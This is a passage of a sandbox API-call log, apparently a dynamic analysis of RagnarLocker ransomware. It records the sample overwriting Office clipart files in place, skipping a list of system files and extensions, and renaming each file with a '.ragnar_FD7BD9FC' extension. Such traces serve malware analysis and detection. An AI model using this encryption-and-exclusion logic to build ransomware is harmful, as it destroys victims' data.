(lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.745] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3826) returned 1 [0085.745] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xee9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.745] GetProcessHeap () returned 0x580000 [0085.745] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.745] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.746] VirtualAlloc (lpAddress=0x0, dwSize=0xef2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.746] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.746] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.746] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xef2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xef2, lpOverlapped=0x0) returned 1 [0085.747] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.747] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xef2, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.747] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xef2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xef2, lpOverlapped=0x0) returned 1 [0085.747] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xef2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.747] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.747] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xef2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.747] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.747] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.747] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.747] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.747] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.748] GetProcessHeap () returned 0x580000 [0085.748] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.748] CloseHandle (hObject=0xf4) returned 1 [0085.748] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" [0085.748] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF.ragnar_FD7BD9FC" [0085.748] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.748] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x739e4f00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x739e4f00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x3586, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196354.WMF", cAlternateFileName="")) returned 1 [0085.748] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.748] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0196354.WMF" | out: lpString1="J0196354.WMF") returned="J0196354.WMF" [0085.748] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF") returned=".WMF" [0085.748] lstrcmpiW (lpString1="J0196354.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.748] lstrcmpiW (lpString1="J0196354.WMF", lpString2="autorun.inf") returned 1 [0085.748] lstrcmpiW (lpString1="J0196354.WMF", lpString2="boot.ini") returned 1 [0085.748] lstrcmpiW (lpString1="J0196354.WMF", lpString2="bootfont.bin") returned 1 [0085.748] lstrcmpiW (lpString1="J0196354.WMF", lpString2="bootsect.bak") returned 1 [0085.748] lstrcmpiW (lpString1="J0196354.WMF", lpString2="bootmgr") returned 1 [0085.749] lstrcmpiW (lpString1="J0196354.WMF", lpString2="bootmgr.efi") returned 1 [0085.749] lstrcmpiW (lpString1="J0196354.WMF", lpString2="bootmgfw.efi") returned 1 [0085.749] lstrcmpiW (lpString1="J0196354.WMF", lpString2="desktop.ini") returned 1 [0085.749] lstrcmpiW (lpString1="J0196354.WMF", lpString2="iconcache.db") returned 1 [0085.749] lstrcmpiW (lpString1="J0196354.WMF", lpString2="ntldr") returned -1 [0085.749] lstrcmpiW (lpString1="J0196354.WMF", lpString2="ntuser.dat") returned -1 [0085.749] lstrcmpiW (lpString1="J0196354.WMF", lpString2="ntuser.dat.log") returned -1 [0085.749] lstrcmpiW (lpString1="J0196354.WMF", lpString2="ntuser.ini") returned -1 [0085.749] lstrcmpiW (lpString1="J0196354.WMF", lpString2="thumbs.db") returned -1 [0085.749] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.749] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.749] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.749] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.749] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.749] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.749] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf")) returned 0x20 [0085.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.749] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13702) returned 1 [0085.750] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x357d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.750] GetProcessHeap () returned 0x580000 [0085.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.750] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.751] VirtualAlloc (lpAddress=0x0, dwSize=0x3586, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.751] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.751] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.751] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3586, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3586, lpOverlapped=0x0) returned 1 [0085.752] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.752] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3586, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.753] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3586, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3586, lpOverlapped=0x0) returned 1 [0085.753] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3586, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.753] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.753] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3586, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.753] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.753] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.753] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.753] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.753] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.753] GetProcessHeap () returned 0x580000 [0085.753] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.753] CloseHandle (hObject=0xf4) returned 1 [0085.754] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" [0085.754] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF.ragnar_FD7BD9FC" [0085.754] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.754] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74cf7c00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74cf7c00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x1b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196358.WMF", cAlternateFileName="")) returned 1 [0085.754] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.754] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0196358.WMF" | out: lpString1="J0196358.WMF") returned="J0196358.WMF" [0085.754] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF") returned=".WMF" [0085.754] lstrcmpiW (lpString1="J0196358.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.754] lstrcmpiW (lpString1="J0196358.WMF", lpString2="autorun.inf") returned 1 [0085.754] lstrcmpiW (lpString1="J0196358.WMF", lpString2="boot.ini") returned 1 [0085.754] lstrcmpiW (lpString1="J0196358.WMF", lpString2="bootfont.bin") returned 1 [0085.754] lstrcmpiW (lpString1="J0196358.WMF", lpString2="bootsect.bak") returned 1 [0085.754] lstrcmpiW (lpString1="J0196358.WMF", lpString2="bootmgr") returned 1 [0085.754] lstrcmpiW (lpString1="J0196358.WMF", lpString2="bootmgr.efi") returned 1 [0085.755] lstrcmpiW (lpString1="J0196358.WMF", lpString2="bootmgfw.efi") returned 1 [0085.755] lstrcmpiW (lpString1="J0196358.WMF", lpString2="desktop.ini") returned 1 [0085.755] lstrcmpiW (lpString1="J0196358.WMF", lpString2="iconcache.db") returned 1 [0085.755] lstrcmpiW (lpString1="J0196358.WMF", lpString2="ntldr") returned -1 [0085.755] lstrcmpiW (lpString1="J0196358.WMF", lpString2="ntuser.dat") returned -1 [0085.755] lstrcmpiW (lpString1="J0196358.WMF", lpString2="ntuser.dat.log") returned -1 [0085.755] lstrcmpiW (lpString1="J0196358.WMF", lpString2="ntuser.ini") returned -1 [0085.755] lstrcmpiW (lpString1="J0196358.WMF", lpString2="thumbs.db") returned -1 [0085.755] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.755] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.755] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.755] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.755] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.755] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.755] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf")) returned 0x20 [0085.755] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.755] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6912) returned 1 [0085.755] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1af7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.755] GetProcessHeap () returned 0x580000 [0085.755] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.755] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.757] VirtualAlloc (lpAddress=0x0, dwSize=0x1b00, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.757] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.757] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.757] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1b00, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1b00, lpOverlapped=0x0) returned 1 [0085.758] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.758] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b00, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.758] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1b00, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1b00, lpOverlapped=0x0) returned 1 [0085.758] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b00, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.758] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.758] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.759] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.759] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.759] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.759] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.759] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.759] GetProcessHeap () returned 0x580000 [0085.759] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.759] CloseHandle (hObject=0xf4) returned 1 [0085.759] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" [0085.759] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF.ragnar_FD7BD9FC" [0085.759] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.760] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78630300, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78630300, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x164c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196364.WMF", cAlternateFileName="")) returned 1 [0085.760] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.760] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0196364.WMF" | out: lpString1="J0196364.WMF") returned="J0196364.WMF" [0085.760] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF") returned=".WMF" [0085.760] lstrcmpiW (lpString1="J0196364.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.760] lstrcmpiW (lpString1="J0196364.WMF", lpString2="autorun.inf") returned 1 [0085.760] lstrcmpiW (lpString1="J0196364.WMF", lpString2="boot.ini") returned 1 [0085.760] lstrcmpiW (lpString1="J0196364.WMF", lpString2="bootfont.bin") returned 1 [0085.760] lstrcmpiW (lpString1="J0196364.WMF", lpString2="bootsect.bak") returned 1 [0085.760] lstrcmpiW (lpString1="J0196364.WMF", lpString2="bootmgr") returned 1 [0085.760] lstrcmpiW (lpString1="J0196364.WMF", lpString2="bootmgr.efi") returned 1 [0085.760] lstrcmpiW (lpString1="J0196364.WMF", lpString2="bootmgfw.efi") returned 1 [0085.760] lstrcmpiW (lpString1="J0196364.WMF", lpString2="desktop.ini") returned 1 [0085.760] lstrcmpiW (lpString1="J0196364.WMF", lpString2="iconcache.db") returned 1 [0085.760] lstrcmpiW (lpString1="J0196364.WMF", lpString2="ntldr") returned -1 [0085.760] lstrcmpiW (lpString1="J0196364.WMF", lpString2="ntuser.dat") returned -1 [0085.760] lstrcmpiW (lpString1="J0196364.WMF", lpString2="ntuser.dat.log") returned -1 [0085.760] lstrcmpiW (lpString1="J0196364.WMF", lpString2="ntuser.ini") returned -1 [0085.760] lstrcmpiW (lpString1="J0196364.WMF", lpString2="thumbs.db") returned -1 [0085.760] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.760] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.760] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.760] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.760] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.760] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.760] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.760] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf")) returned 0x20 [0085.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.761] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5708) returned 1 [0085.761] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1643, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.761] GetProcessHeap () returned 0x580000 [0085.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.761] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.763] VirtualAlloc 